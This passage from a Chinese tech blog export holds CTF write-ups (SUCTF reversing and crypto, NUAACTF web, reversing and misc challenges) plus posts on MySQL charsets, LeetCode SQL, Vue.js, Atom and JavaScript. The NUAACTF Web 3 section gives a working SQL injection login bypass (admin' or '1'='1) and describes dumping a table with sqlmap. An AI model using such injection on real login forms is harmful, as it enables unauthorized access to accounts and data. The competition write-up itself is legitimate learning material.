123456789101112131415161718192021// ...if ( num > 9 ) { plaintext = 'I'; flag(&plaintext);}// ... signed int __cdecl flag(int *ret) { ret[12] = 'a'; ret[11] = '6'; ret[10] = 'I'; ret[9] = '_'; ret[8] = 'e'; ret[7] = '5'; ret[6] = 'U'; ret[5] = '_'; ret[4] = 'n'; ret[3] = '@'; ret[2] = 'c'; return 1;} 然后拼起来,flag 里还差个下划线,没看代码,猜出来了:suctf{I_c@n_U5e_I6a} PE_Format 文件。 不懂 PE 格式,下下来以后看了半天。后来发现出题人竟然把 MZ 头和 PE 头里的 MZ 和 PE 给调过来了😂 改正后,把 MZ 头中 PE 头的位置从 0x40 改到 0x80, 程序就能跑起来了。 拖到 IDA 里反编译,程序竟然是用 C艹 写的…啃代码啃代码,最后发现 flag 被按位非了,写个程序解出来: 12345678910111213141516171819#include <stdio.h>#include <string.h> // char secret[] = "» ¦Š ”‘ˆ ¯º ¹’ž‹À";char secret[] = "\\xBB\\x90\\xA0\\xA6\\x90\\x8A\\xA0\\x94\\x91\\x90\\x88\\xA0\\xAF\\xBA\\xA0\\xB9\\x90\\x8D\\x92\\x9E\\x8B\\xC0";char v35[40]; int main(){ char c; int len = strlen(secret); memset(v35, 0, 30); strcpy(v35, secret); for (int i = 0; i < len; i++) v35[i] = ~v35[i]; printf("%s\\n", v35); return 0;} 得到 flag: suctf{Do_You_know_PE_Format?}. Find_correct_path 文件。 看源码: 1234567891011121314151617181920212223242526272829303132333435363738int __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax@2 char s; // [sp+Ch] [bp-2Ch]@1 char v5; // [sp+20h] [bp-18h]@1 int v6; // [sp+28h] [bp-10h]@11 int v7; // [sp+2Ch] [bp-Ch]@1 v7 = 0; memset(&s, 0, 0x14u); __isoc99_scanf((const char *)&unk_8048D40, &v5); if ( v7 ) { switch ( v7 ) { case 1: choose1((int)&s); break; case 2: choose2((int)&s); break; case 3: choose3((int)&s); break; case 4: choose4((int)&s); break; } v6 = strlen(&s); final((int)&s, v6); result = 0; } else { result = 1; } return result;} 发现程序读入 v5 的值,后面却判断了 v7. 扔到 Linux 下动态调试。 一开始老是报 “No such file or directory”, 后来发现没有 libc6 链接库。 然后用 gdb,在 v7 赋值后下断点,改掉 v7 的值,然后让程序继续运行。最后得到 flag: suctf{Thl5_way_ls_r!8ht}. 看小伙伴的 Writeup 时,发现 IDA 反编译出的源码是可以在 Linux 中编译的,他直接把源码里的 v5 改成 v7,然后编译一下就出来了。神奇😳 reverse04 文件。尼玛,为啥题目是 04,文件是 03… 程序里用了各种反动态调试技术,于是我就静态分析了,反正也不会。结果分析了半天,各种算地址,最后算出来的 flag 都有问题,就放弃了… 据说我只跟 flag 差一个凯撒加密?噫,那天状态真是差。flag: suctf{antidebugabc}. Crypto base?? MMZVM2TEI5NDOU2WHB4GEM22NRMDCTRRMZIT2PI= 全大写,根据题目判断应该是 base32. 解出来一段 base64, 再解密得到 flag: suctf{I_1ove_Su}. 凯撒大帝 OK, 凯撒密码,暴力枚举一下,最后发现有两个字符串拼起来,能得到 suctf{I_am_Cathar}. 然后蛋疼的地方就来了。鼓捣了一晚上,key 各种错,后来同学告诉我说,key 是 Caesar… 特么竟然是故意写错的?_(:зゝ∠)_ easyRSA 文件 解出来是 RSA 的公钥和加密内容。找了个 Writeup,照着做,分解质因数用 yafu 搞定,最后得到 flag: suctf{Rsa_1s_ea5y}. 普莱费尔 C:prewglqkobbmxgkyzmvyml WW91IGFyZSBsdWNreQ== Playfair 密码。密钥是后面那个 base64 解出来的。然而,Playfair 的加密矩阵构造方式好像有好多种,所以找了好几个在线解密网站,最后找到 这个,把 flag 解出来了:suctf{charleswheatstone} 总结(说点闲话) 这次 CTF 是个人赛,为期一周,很多题都是在工作日下班之后完成的,所以做题的时候耐心少了一点,很多题半天没做出来就放弃了(比如 Android Studio 那道题)。 博客又很久没更新了,七月到十一月在实习,每天沉迷工(yu)作(le),没有什么心思去学习、去提高。现在实习结束了,却欠了一堆作业没做。等我把作业都做完,再来更新吧。 大概会写一篇 Django REST Framework 的入门指南?😳","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"https://blog.stdioa.com/tags/CTF/"},{"name":"脑洞","slug":"脑洞","permalink":"https://blog.stdioa.com/tags/%E8%84%91%E6%B4%9E/"}]},{"title":"解决 MySQL 编码问题","slug":"django-mysql-charset-problem","date":"2016-05-09T01:40:46.000Z","updated":"2022-09-10T01:41:19.791Z","comments":true,"path":"2016/05/django-mysql-charset-problem/","link":"","permalink":"https://blog.stdioa.com/2016/05/django-mysql-charset-problem/","excerpt":"很久以前写了一个 Django 项目,数据库用的 MySQL. 很久没用,后来发现 MySQL 编码设置有问题,导致中文全部变成了问号。","text":"很久以前写了一个 Django 项目,数据库用的 MySQL. 很久没用,后来发现 MySQL 编码设置有问题,导致中文全部变成了问号。 1. 设置 MySQL 服务端默认字符集 在 my.cnf 中设置默认字符集: 12[mysqld]character-set-server=utf8 同时,可以设置 MySQL 客户端的默认字符集: 12[mysql]character-set-default=utf-8 配置完成后,重启 MySQL 服务,输入 SHOW VARIABLES LIKE '%CHAR'; 检查字符集是否正确。 2. 手动设置数据库编码 修改默认编码其实是没用的😂,还需要手动设置数据库编码,而数据库编码需要在建立时指定,所以…真是一个悲伤的故事😢(反正我的服务也没人用 重新建立数据库: 12DROP DATABASE spaste;CREATE DATABASE spaste DEFAULT CHARACTER SET utf8; 重建数据库后,输入 python manager.py migrate 重新迁移数据库。 3. 参考资料 Configuring the Character Set and Collation for Applications - MySQL 5.7 Reference Manual django 解决 mysql 数据库输入中文乱码问题 4. 后记 好短的一篇文章… 最近在爬 B 站用户的公开用户数据,数据库用了 MongoDB, 爬完以后好好玩一玩😳 B 站基佬好多啊_(:зゝ∠)_","categories":[{"name":"开发","slug":"开发","permalink":"https://blog.stdioa.com/categories/%E5%BC%80%E5%8F%91/"}],"tags":[{"name":"Django","slug":"Django","permalink":"https://blog.stdioa.com/tags/Django/"},{"name":"MySQL","slug":"MySQL","permalink":"https://blog.stdioa.com/tags/MySQL/"}]},{"title":"第一届 NUAACTF 非官方 Writeup","slug":"nuaactf-unofficial-writeup","date":"2016-04-25T04:01:04.000Z","updated":"2022-09-10T01:41:19.796Z","comments":true,"path":"2016/04/nuaactf-unofficial-writeup/","link":"","permalink":"https://blog.stdioa.com/2016/04/nuaactf-unofficial-writeup/","excerpt":"学校组织了第一届 NUAACTF,参加去玩玩,开开脑洞😂,嗯,还蛮好玩的~","text":"学校组织了第一届 NUAACTF,参加去玩玩,开开脑洞😂,嗯,还蛮好玩的~ Web 0 huan’ying’lai’dao 签到题,F12 即可得到 flag. Flag 藏在页面的某个 js 文件里,用 jsfuck 混淆了。 Web 1 百度一下,你就知道 题目貌似改过一回。 改之前直接点击网页上的一个链接,跳转到某个网页,源代码里面有一段 php,具体内容不记得了,里面 有一串 MD5 095a655fc809cbbdffa207717a5233f5. Google 一下找到某白菜的博客,得到原文 bnVhYWN0ZiU3Qi93ZWIyL2NlYmE2ZmJiZjBlZGU0MzI1MjY0MWNkMzM2ZTM2YTAzJTdE. 看起来像 Base64,于是 decode 一下,然后 decodeURIComponents 得到 flag. 后来题目改了,直接按照题目要求去百度就能直接找到某白菜的博客。 Web 2 不是 bug 是 feature Web 2 的入口点在 Web 1 的 flag 里。进去以后会跳转到某个 php, 然而某白菜又把 php 源码写进去了,思路跟上个题好像一样,也是去百度一下 MD5 得到密码,添加 GET 参数即可拿到 flag. Web 3 笨笨的程序猿 Web 3 的入口点在 Web 2 的 flag 里。进去以后跳转到某 php, 里面只有一个登录表单。看起来像是 SQL 注入,就用 sqlmap 扫了一下,把表 dump 出来,发现有两个账户 admin 和 user,密码都是一坨看起来什么都不像的东西,然后线索就断了。 最后一个小时决定手动注入一下,然而并不怎么会 SQL 注入于是就找了几篇博客来看。注入了半天密码框均无果,最后试了一下注入用户名输入框 admin' or '1'='1,成功登录。 登录以后 flag 一闪而过,本来想截屏然而懒得截了就抓了包,拿到 flag. Web 4 (未解出) 你从哪里来,我的朋友。 Web 3 成功登录后就跳转到 Web 4,网页写着"0nly welc0me pe0ple who c0me from http://cs.nuaa.edu.cn "。结合“你从哪里来”,想到了请求来源,但是我只想到了 Referer, 修改后无果。 比赛结束后听说要改 Origin 和 X-Forwarded-For, 然而改了也没做出来,不知道哪里出了问题。 Rev 1 曾老师的 Android 课 把 apk 下载下来,用 jd-gui 打开,一阵乱翻以后发现 flag 藏在 MainActivity.class 里。 Rev 2 (未解出) 奇妙的声音 又看见安卓了,下下来以后一阵乱翻,没有头绪。 刚才看了别人的题解,发现 flag 在资源目录里面。 拿出来 res/raw/sound.wav, 用随便什么鬼打开(来之前见识过这个脑洞,专门准备的 Sonic Visualiser, 然而卡住了没有用上),发现里面有四个声道,下面两个声道像是个方波。 然后一点一点数 01 数出来,得到: 01101110 01110101 01100001 01100001 01100011 01110100 01100110 01111011 01110011 01101000 00110000 01110010 01110100 01011111 01100110 00110001 01000001 01100111 数格子数的眼都要花了… 每一行 8 位二进制转 ASCII 码,得到 flag nuaactf{sh0rt_f1Ag, 少了一个右括号😂 真是幸亏 flag 短… 顺便说一句,那个音频真好听,听说是锤子手机的默认铃声😳 Rev 3 不喜欢写界面的白菜哥 .NET 逆向,直接拖到 IDA 里面,一阵乱翻,翻到了三段 base64 和一个摩尔斯电码表。把三段 base64 拼起来以后 decode, 得到一段摩尔斯电码 `-. …- .- .- -.-. - …-. 2D3f … .- .–. .–. -.-- -.-. .-. .- -.-. -…- .toc: true ---- -. --. -.-. … … .- .-. .–. -…–.-(2D3f 是什么鬼:joy:),解码后得到 flagNUAACTF{SAPPYCRACK1NGCSSARP}`,放到源程序里面,显示 flag 正确。 然后,提交以后说 flag 不对! 为什么 flag 不是 Happy Cracking CSharp? 看了半天,又交了半天的 flag,没找出问题。后来发现程序编码表里面 H 和 S 的编码一样😂 所以里面所有的 S 换成 H,源程序都会提示 flag 正确… 把 H 和 S 转换,一个一个试,最后试出来 flag 是 NUAACTF{HAPPYCRACK1NGCHHARP},也是醉人。 Pwn 1 乱码!乱码! 签到题。下载下来一个 txt,打开以后发现是 jsfuck,放到浏览器里运行得到 flag. Pwn 2 (未解出) 回家的路 CTF 竞赛考了算法…最短路…真是醉醉哒。 一开始没有细想,瞎写了一个深度优先搜索,出来好多解,然而没有一个是对的,也是悲催。 到最后也没有做。 Misc 1 奇怪的压缩包 嘛,隐写的题都蛮好玩哒😜 misc1.rar 下载下来后无法打开,file 一下发现是个 PNG,改拓展名后打开,得到 flag。这个也算签到题吧。 Misc 2 奇怪的图片 下载 misc2.png, pngcheck 提示 additional data after IEND chunk, 看来最后一块后面还有东西,用记事本打开,发现文件最后用明文写着 key. 刚刚在文件末尾发现了一个文件头 PK\\x03\\x04, 觉得应该是个 zip 文件,binwalk 一下然后用 dd 分开,得到一个 zip 文件,解压后得到 flag. 这应该是这个题的标准做法吧,只是为什么做 zip 文件的时候没有压缩🌚 Misc 3 更奇怪的图片(你们这起的都是什么名字) 下载下来(听说这是舰娘?),pngcheck 没有错误,卡了一会。后来用 PS 打开,把色阶拉低,发现图的左下角有个二维码,扫码得 QlpoOTFBWSZTWXhAk1kAAAtfgAAQIABgAAgAAACvIbYKIAAigNHqNGmnqFMJpoDTEO0CXcIvl9SeOAB3axLQYn4u5IpwoSDwgSay. 解码后发现是乱码,不知道怎么做了,卡了很久😷 比赛的最后一个小时看见了解码后字符串开头的 BZ,突然意识到这可能是个文件头,于是将解码后的内容写入文件,file 一下发现果然是个 bz 压缩文件,解压后得到 flag. Misc 4 (未解出) 讨厌的 APP 觅动校园什么鬼?! 总结 比赛五个小时,解了 10 道题,前半小时解出来 5 道,后面各种卡,最后一个小时脑洞大开又解出来 3 道题😂 CTF 真好玩,考到了各种姿势各种脑洞,还是蛮有意思哒~ 然而五个小时的比赛真的太累了…血的教训,下次题目做不出来还是要跑出去歇一会再回来做_(:зゝ∠)_","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"CTF","slug":"CTF","permalink":"https://blog.stdioa.com/tags/CTF/"},{"name":"脑洞","slug":"脑洞","permalink":"https://blog.stdioa.com/tags/%E8%84%91%E6%B4%9E/"}]},{"title":"LeetCode 数据库题目解答","slug":"leetcode-database-solutions","date":"2016-04-06T08:02:00.000Z","updated":"2022-09-10T01:41:19.796Z","comments":true,"path":"2016/04/leetcode-database-solutions/","link":"","permalink":"https://blog.stdioa.com/2016/04/leetcode-database-solutions/","excerpt":"前两天重刷了《SQL必知必会》,昨天想到了 LeetCode,于是去刷了几道数据库的题目,开了不少脑洞。","text":"前两天重刷了《SQL必知必会》,昨天想到了 LeetCode,于是去刷了几道数据库的题目,开了不少脑洞。 今天把答案整理一下。喔,题库在这里。 175. Combine Two Tables https://leetcode.com/problems/combine-two-tables/ 样例中有些人的 PersonId 无法在 Address 表中找到,所以使用 LEFT JOIN. 1234SELECT FirstName, LastName, City, StateFROM PersonLEFT JOIN AddressON Person.PersonId = Address.PersonId; 176. Second Highest Salary https://leetcode.com/problems/second-highest-salary/ UNION 查询,在结果的最后添加一个 NULL, 若不存在第二高的薪水则会选择 NULL. 12345SELECT Salary FROM EmployeeUNIONSELECT NULLORDER BY Salary DESCLIMIT 1, 1; 177. Nth Highest Salary https://leetcode.com/problems/nth-highest-salary/ 这个不知道为什么不可以用 LIMIT 1, N-1,所以用了 IF 函数。 12345678910111213CREATE FUNCTION getNthHighestSalary(N INT) RETURNS INTBEGIN RETURN ( # Write your MySQL query statement below SELECT IF(COUNT(*) >= N, MIN(rank.Salary), NULL) FROM ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N ) AS rank );END 178. Rank Scores https://leetcode.com/problems/rank-scores/ 1234567SELECT Score, ( SELECT COUNT(DISTINCT Score) FROM Scores AS c WHERE o.Score <= c.Score # 统计比已选分数小的分数个数) AS RankFROM Scores AS oORDER BY Score DESC; 180. Consecutive Numbers https://leetcode.com/problems/consecutive-numbers/ 暴力查询😂 12345SELECT DISTINCT l1.Num AS ConsecutiveNumsFROM Logs AS l1, Logs AS l2, Logs AS l3WHERE l1.Id+1 = l2.Id AND l2.Id+1 = l3.Id AND l1.Num = l2.Num AND l2.Num = l3.Num; 181. Employees Earning More Than Their Managers https://leetcode.com/problems/employees-earning-more-than-their-managers/ 选择雇员,根据 ManagerId 找到雇员上司的薪水,然后进行比较即可。 1234567SELECT NameFROM EmployeeWHERE Salary > ( SELECT Salary FROM Employee AS e WHERE e.id = Employee.ManagerId ); 182. Duplicate Emails https://leetcode.com/problems/duplicate-emails/ 按 Email 字段进行分类,使用 HAVING 筛选出相同 Email 数量大于 1 的项。 123SELECT Email FROM PersonGROUP BY EmailHAVING COUNT(Email)>1; 183. Customers Who Never Order https://leetcode.com/problems/customers-who-never-order/ 这个也是直接查询… 12345SELECT c.Name AS CustomersFROM Customers AS cWHERE (SELECT COUNT(*) FROM Orders WHERE c.id = Orders.CustomerId) = 0; 184. Department Highest Salary https://leetcode.com/problems/department-highest-salary/ 基本上就是直接查询,注意 WHERE 语句中判别条件的位置,否则有可能 TLE😂 12345678SELECT d.Name AS Department, e.Name AS Employee, e.SalaryFROM Employee AS e, Department AS dWHERE e.DepartmentId = d.Id AND e.Salary = (SELECT MAX(e2.Salary) FROM Employee AS e2 WHERE e.DepartmentId = e2.DepartmentId); 185. Department Top Three Salaries https://leetcode.com/problems/department-top-three-salaries/ 输出每个部门薪资最高的三个人。这个题里有个坑,如果两个人薪资相同,那么这两个人并列,都要输出。并且如果四个人的薪资为 3 2 2 1, 薪资为 1 的那个人排第 3 😂 12345678910SELECT d.Name AS Department, e.Name AS Employee, e.SalaryFROM Employee AS e, Department AS dWHERE e.DepartmentId = d.Id AND (SELECT COUNT(DISTINCT e2.Salary) # 排序时允许并列 FROM Employee AS e2 WHERE e.DepartmentId = e2.DepartmentId AND e.Salary < e2.Salary) < 3 # 比该雇员工资高的人少于三个ORDER BY Department, Salary DESC; 196. Delete Duplicate Emails https://leetcode.com/problems/delete-duplicate-emails/ MySQL 不允许在删除时依据待删除的表进行筛选 (You can’t specify target table’Person’ for update in FROM clause), 所以要绕一下。 123456789101112131415# 错的!!DELETE FROM PersonWHERE Id IN (SELECT p2.Id FROM Person AS p1, Person AS p2 WHERE p1.Email = p2.Email AND p1.Id < p2.Id );DELETE FROM PersonWHERE Id IN (SELECT * FROM( # 绕一下,先挑出所有满足要求的 ID 构成一个表,再从这个表中选 Id 进行删除 SELECT p2.Id FROM Person AS p1, Person AS p2 WHERE p1.Email = p2.Email AND p1.Id < p2.Id) AS temp ); 197. Rising Temperature https://leetcode.com/problems/rising-temperature/ 主要考 MySQL 的日期操作函数。 1234SELECT w1.Id AS IdFROM Weather AS w1, Weather AS w2WHERE datediff(w1.Date, w2.Date) = 1 AND w1.Temperature > w2.Temperature; 262. Trips and Users https://leetcode.com/problems/trips-and-users/ 太乱了,没做😥 后记 昨天花了半天写完这些题,写到最后都不知道自己在写什么了😂不过还是掌握了不少的 SQL 查询技巧,比如 UNION SELECT NULL 等等。","categories":[{"name":"LeetCode","slug":"LeetCode","permalink":"https://blog.stdioa.com/categories/LeetCode/"}],"tags":[{"name":"LeetCode","slug":"LeetCode","permalink":"https://blog.stdioa.com/tags/LeetCode/"},{"name":"数据库","slug":"数据库","permalink":"https://blog.stdioa.com/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/"},{"name":"SQL","slug":"SQL","permalink":"https://blog.stdioa.com/tags/SQL/"}]},{"title":"随手记之Vue.js","slug":"essay-vue","date":"2016-03-28T13:40:03.000Z","updated":"2022-09-10T01:41:19.792Z","comments":true,"path":"2016/03/essay-vue/","link":"","permalink":"https://blog.stdioa.com/2016/03/essay-vue/","excerpt":"之前的那门 JS 和前端课结课了,最后花了一周时间写了一个 project,使用 Vue.js 的一套工具写了一个单页面应用,先将使用到及学到的知识来整理一下。","text":"之前的那门 JS 和前端课结课了,最后花了一周时间写了一个 project,使用 Vue.js 的一套工具写了一个单页面应用,先将使用到及学到的知识来整理一下。 想了想,之前自己学习 Vue.js 的时候一直在翻文档,翻到哪些让人眼前一亮的功能时就将它加进自己的项目里,并没有什么系统地进行学习,所以想到哪写到哪好了。前方高乱预警。 1. Vue.js 之前用 React 用得有些不爽了所以想换换口味, 于是 用Vue.js 写了一个小应用的前端部分。它的轻量以及MVVM架构让我在两天之内爱上了它,于是决定用它代替 React 去完成 final project 的前端部分。 不知道为什么,我觉得 Vue.js 比 React 更容易上手,所以很快就学会了它。想了想确实不知道该整理一些什么,因为 Vue 的官方教程写的确实很直白清楚,所以在此不再赘述,有时间的话可能会考虑写一个 Vue 的教程。 2. vue-cli vue-cli 是一个 Vue.js 官方提供的脚手架工具,你可以使用它来轻松地构建出一个应用 Vue.js 的工程。官方提供 5 种模板,当然你也可以在 github 上或者本地构建自己的模板然后使用 vue-cli 生成工程。 具体使用方法:生成一个工程极为简单,只需一两条命令即可。 1234$ vue init webpack my-project // 使用 webpack 模板生成工程 my-project$ cd my-project$ npm install$ npm run dev 然后,借助 webpack 与 vue-loader, 你可以将一个 Vue 组件的模板、核心js代码和CSS写在一个文件里,甚至还可以使用 CSS 与 HTML 的预处理器,像这样: 图片来自 Vue.js 官方教程 - 构建大型应用。 3. Vue-router vue-router 是 vue 官方提供的路由模块,可以实现 SPA 中的路由操作。具体文档看这里。顺便提一句,vue-router 的中文文档已经过时了。 3.1 初始化 首先使用 npm 安装 vue-router, 然后在程序入口点配置 vue-router. 12345678910111213141516171819202122232425262728import Vue from 'vue'import Router from 'vue-router'import App from './components/App' // 程序的核心 Vue 应用import HomePageView from './components/HomePageView' // 导入所有的 View 组件import ItemView from './components/ItemView' Vue.use(Router) // Vue 配置var router = new Router() // 生成路由对象router.map({ // 配置路由 '/': { name: 'homepage', component: HomePageView }, '/home': { name: 'homepage', component: HomePageView }, '/item/:id': { // 支持动态路径 name: 'item', component: ItemView }} router.redirect({ // 设置重定向选项 '*': '/home'}) router.start(App, '[app]') // 挂载 Vue 主应用 然后在 App.vue 的 template 中设置 router-view. 1234567<template> <router-view keep-alive transition="fade" transition-mode="out-in"> </router-view></template> 3.2 vue-router 的使用 Vue Router 对象被嵌入到每个 vue 组件中,可以在组件中调用 this.$router 来控制 router 对象,如进行页面跳转等。 此外,还可以在页面切换时在组件的 route 配置中使用路由切换钩子控制 vue-router,详情请看文档 4. Vuex Vuex 是一个借鉴于 Flux,但是专门为 Vue.js 所设计的状态管理方案。Flux 采用了 Action → Dispatcher → Store → View 的状态管理机制,而 Vuex 跟它差不多:Vue 组件调用 action,action dispatches mutation, mutation 改变 store 中的 state,state 改变 View. 下面是 Vuex 的数据流。 4.1 使用方法 程序入口点: 123import Vuex from 'vuex'Vue.use(Vuex) 主应用: 123456import store from '../store'export default { store, // 引用store ...} 其它组件: 123456789101112131415161718export default { ..., vuex: { // 定义 getter 从 store 中获取 state 并注册至应用中 getters: { logged_in: function (state) { return state.user.logged_in } }, // 定义 action, 组件可在自己的函数中调用 action 来 dispatch mutations. actions: { login: ({ dispatch }, user) => { dispatch('LOGIN', user) } } }, ...} 关于 store 及 mutation 的定义方式,请参考 Vuex 文档。 5. 总结 & 后记 跟 React 相比,个人感觉 Vue 要更容易上手,易于使用,文档也很清楚(比 Hexo 的高到不知道那里去了,前两天被 Hexo 整疯了必须要黑一下它);Vue 的一系列工具也很易于使用,与 Vue 整合度高,可以在组件中方便地进行操作。 前端课结课,准备退坑了,过几天可能会学习并整理一些后端的知识。","categories":[{"name":"Javascript","slug":"Javascript","permalink":"https://blog.stdioa.com/categories/Javascript/"}],"tags":[{"name":"前端开发","slug":"前端开发","permalink":"https://blog.stdioa.com/tags/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/"},{"name":"Javascript","slug":"Javascript","permalink":"https://blog.stdioa.com/tags/Javascript/"},{"name":"node.js","slug":"node-js","permalink":"https://blog.stdioa.com/tags/node-js/"},{"name":"vue.js","slug":"vue-js","permalink":"https://blog.stdioa.com/tags/vue-js/"}]},{"title":"Atom 浅度体验感受","slug":"essay-atom-using-experience","date":"2016-03-27T02:40:03.000Z","updated":"2022-09-10T01:41:19.792Z","comments":true,"path":"2016/03/essay-atom-using-experience/","link":"","permalink":"https://blog.stdioa.com/2016/03/essay-atom-using-experience/","excerpt":"昨天看到了 Atom 官方发布了一篇 Atom Flight Manual, 看了两页觉得有些感兴趣所以下了一个体验一下。","text":"昨天看到了 Atom 官方发布了一篇 Atom Flight Manual, 看了两页觉得有些感兴趣所以下了一个体验一下。 很久以前就听说了 Atom 这款编辑器,Github 宣称它是"A hackable text editor for the 21st Century", 有些感兴趣于是就搞了一个内测码下载下来来玩了玩,但是,当时 Atom 的用户体验并不好,加上可以使用的插件少之又少,就放弃了它。昨天从微博上看到了官方的 Atom Flight Manual,决定重新体验一下这款所谓“属于 21 世纪的编辑器”。 当然,作为一个使用 Sublime Text 将近 2 年的用户,我肯定会将 Atom 跟 Sublime Text(下称 ST)进行比较咯。 1. 第一印象 一打开Atom界面,整个 UI 还是浓浓的仿 ST 风格,快捷键都基本一样,可能是因为 ST 的 UI 确实很简洁漂亮吧。 不过 ST 是收费的(无期限评估使用也是收费),而 Atom 是免费的,这点要赞一个~当然这根本无法打消暑假购买 ST 授权码的决心。 2. 启动速度 Atom 的启动速度显然跟 ST 没法比。实测在装了 15 个插件以后,Atom 的启动速度要比 ST3 慢 5 倍左右。当然,它的启动速度应该会比装了一堆插件的 ST2 快一点…ST2 的启动速度貌似是历史遗留问题了。 3. 用户体验 感觉 Atom 的用户体验要比上次好的多。 来说一说我看好 Atom 的地方吧。 Web-Based Atom 编辑器是基于 V8,整个 Atom 编辑页面就是一个网页。不知道为什么,感觉网页对我来说更有亲切感😳,当然这也使得 Atom 更加容易修改,方便了插件的开发。 Git Diff & Markdown Preview 集成 Atom 自带了两个插件:Git Diff 和 Markdown Preview. Git Diff 可以实时显示当前文件的 Git Diff 信息。嗯那个 Git Diff 还是蛮漂亮的~ Markdown Preview 可以提供 Github Markdown 实时预览。然而作为一个可以对 Markdown 进行人肉编译的人,根本不需要这样的插件嗯😂 同时,Atom 还集成了 Git 的常用功能,如当前目录所在 Git 分支。这个功能也要点个赞。 Package/Theme 安装及配置 这点上 Atom 做的要比 ST 好得多。Atom 可以在线查看 Package 的 README 信息,每一个 Package 也有其独立的配置页面,不必像 ST 那样直接去修改配置文件。 当然,Atom 自带了一个叫做 apm 的包管理工具,这个就不错评价咯,人家只是浅度使用嘛(傲娇脸 4. Hackable 简单体验——编辑器字体修改 之前用 ST 的时候为了将 Consolas 和微软雅黑结合起来,着实头疼了好久,到了 Atom 里,打开 Stylesheet 配置文件,一行代码搞定😆 123atom-text-editor { font-family: Consolas, "Microsoft Yahei", sans-serif;} 5. 总结 Atom 确实比以前好用了很多。我大概不会卸载它,而是把它留在电脑里,等到 ST 用腻了可以换换口味~ 然而尝试了 Atom 并更换主题、安装了几个实用的插件以后,我还是跑到 Sublime 那里安装了类似的插件😂 配置后的 Atom: 使用 Atom 前的 ST: 使用 Atom 后,安装了插件Color Highlighter, GitGutter 和 SublimeGit的 ST: 好吧…我把 ST 配置的像 Atom 了(摊手 完。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.stdioa.com/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"Atom","slug":"Atom","permalink":"https://blog.stdioa.com/tags/Atom/"},{"name":"Sublime Text","slug":"Sublime-Text","permalink":"https://blog.stdioa.com/tags/Sublime-Text/"},{"name":"文本编辑器","slug":"文本编辑器","permalink":"https://blog.stdioa.com/tags/%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91%E5%99%A8/"},{"name":"Git","slug":"Git","permalink":"https://blog.stdioa.com/tags/Git/"}]},{"title":"Javascript学习总结","slug":"learning-javascript","date":"2016-02-24T11:31:42.000Z","updated":"2022-09-10T01:41:19.795Z","comments":true,"path":"2016/02/learning-javascript/","link":"","permalink":"https://blog.stdioa.com/2016/02/learning-javascript/","excerpt":"从开始写Javascript到现在,已经有一个月了,这一个月学了不少新姿势,随便写写,简单整理一下。","text":"从开始写Javascript到现在,已经有一个月了,这一个月学了不少新姿势,随便写写,简单整理一下。 1. Javascript 这个没什么好整理的…随便写几条。 1234567891011(function () { var a; // 防止变量作用域提升 do_something();}()); some_list.map(function (obj) { this.do_something(obj); }, this); // 把this传到map里面的匿名函数中,否则里面的this为undefined setInterval(function () {}, 1000);setTimeout(function () {}, 1000); 2. jQuery 2.1 选择器 1234$("input[type=text]") // 选择属性$("ul>li:eq(3)") // 选择第4个li元素$("ul>li").eq(3) // 选择所有"ul>li"中的第4个元素(注意与上面那个选择器的不同)$("ul>li:even") // 选择所有奇数li元素(odd同理) 2.2 杂项 获取表单内容时,要用$("...").val()而不是$("...").text(). 3. Node.js 不知道写什么,随便写几个好玩的库: cheerio, 在服务器端解析html,跟jQuery用法差不多 chalk, 输出彩色文字 gulp, 流式自动化构建工具,后面细写 May.2 2017 更新 3.1 Node.js 文档阅读笔记 3.1.1 console.timer 计时工具。 1234console.time('100-elements');for (let i = 0; i < 100; i++);console.timeEnd('100-elements');// 100-elements: 0.238ms 3.1.2 Buffer Buffer 在处理文件或流时可能会用到,在处理文件时,跟 Python 的 bytes 有些相似。 创建 Buffer: Buffer.alloc(10) 或 Buffer.from([1, 2, 3]); 长度: buf.length; 切分: buf.slice([start, [end]]); 字符串与 Buffer 转换: 12345678> b = Buffer.from("哦")<Buffer e5 93 a6>> b[0]229> b.toString('utf-8')'哦'> b.toString('base64')'5ZOm' 3.1.3 child_process 生成子进程,执行文件: 1234567891011121314const spawn = require('child_process').spawn;const ls = spawn('ls', ['-lh', '/usr']); ls.stdout.on('data', (data) => { console.log(`stdout: ${data}`);}); ls.stderr.on('data', (data) => { console.log(`stderr: ${data}`);}); ls.on('close', (code) => { console.log(`child process exited with code ${code}`);}); 如果进程可以立即结束(比如 ls),或者不需要实时查看 stdout 的输出,可以使用 child_process.exec: 123456789const exec = require('child_process').exec;exec('cat *.js bad_file | wc -l', (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`stdout: ${stdout}`); console.log(`stderr: ${stderr}`);}); 3.1.4 Path 用于处理文件路径,跟 os.path 类似。 12345678path.join('/foo', 'bar', 'baz/asdf', 'quux', '..')// Returns: '/foo/bar/baz/asdf' path.normalize('/a/b//../c/./d/')'/a/c/d/' path.relative('/data/orandea/test/aaa', '/data/orandea/impl/bbb')// Returns: '../../impl/bbb' 4. React.js 4.1 JSX与Babel JSX是一种语言,babel是一种预处理工具。 JSX可以在浏览器中转换为javascript并执行,有两个前提: 包含了browser.js script标签的类型为text/babel 看这里。 在很久以前,JSX代码转换库包含在React库里,名叫JSXTransformer.js, 那时script标签的类型为text/jsx, 但是后来JSX代码改用babel来转换了,所以script标签的类型也就变为了text/babel, 代码转换库也不再由React提供。 吐槽:最初看tutorial的时候看的中文页面,这个页面很久很久没有更新过了,很多内容都过时了,在离线转换的时候需要安装包,npm报出一堆package deprecated的信息,整个人一个大写的卧槽。后来看了上面的英文页面才知道JSXTransformer已经不再使用了,现在大家都用Babel. 4.2 React 阮一峰大大写的React入门教程很不错,我基本上是看这个入门的。 写JSX时,要注意DOM节点的class和for属性要写为className和htmlFor,因为class和for是javascript的关键字。 